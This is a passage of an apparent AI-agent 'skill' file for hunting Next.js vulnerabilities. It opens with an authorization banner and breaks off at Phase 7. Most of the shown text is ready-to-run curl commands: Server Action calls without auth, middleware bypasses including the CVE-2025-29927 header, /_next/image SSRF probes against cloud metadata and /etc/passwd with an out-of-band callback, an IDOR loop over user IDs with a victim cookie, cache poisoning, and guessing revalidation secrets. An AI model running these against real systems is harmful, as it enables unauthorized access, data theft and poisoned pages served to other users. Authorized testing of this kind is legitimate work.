hunt-nextjs – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

Historical version ranges and exploit snippets require the exact framework/router/runtime/hosting conditions from primary advisories. HTTP 200 or non-404 alone never establishes access bypass, dev mode or a vulnerability; validate content against authenticated/unauthenticated controls and intended policy. Use synthetic identities and records, bounded request budgets and an approved callback receiver. Cache poisoning, revalidation, internal metadata access and mutation require separate exact-action scope. Do not access real victim sessions/data or use discovered credentials.

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

• Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
• Middleware bypass via /_next/static/ — middleware skips static asset paths → protected routes accessible via /_next/data/ IDOR
• /_next/image SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
• ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
• RSC payload leakage — React Server Component flight data contains server-side props not meant for client

---

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

---

Phase 1 — Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

---

Phase 2 — Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r 'createActionURL\|$$ACTION_' recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

---

Phase 3 — Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# A 200 may be a login page or public shell; inspect authorized content and controls.

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

---

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# Confirm protected content/action without authorization; status alone is insufficient. Historical fixes: 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Phase 4 — Image Optimization SSRF (/_next/image)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

FALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only

fetches URLs allowed by images.remotePatterns / images.domains in

next.config.js. A non-whitelisted url returns 400 by default — that is

the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200

returns an *optimized image*, not the upstream response body, so a status code

alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique

Collaborator subdomain** (above), or by body-diffing a known-internal vs

known-external target. Do not report on status code.

> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0

> through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative

> redirect that trusts the Host header — NOT a /_next/image bug, and it does

> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server

> Actions surface.

---

Phase 5 — /_next/data/ IDOR & Data Leakage

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

---

Phase 6 — ISR Cache Poisoning

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

---

Phase 7 — Debug & Stack Frame Endpoints

**Precondi

… (full content is in the download package)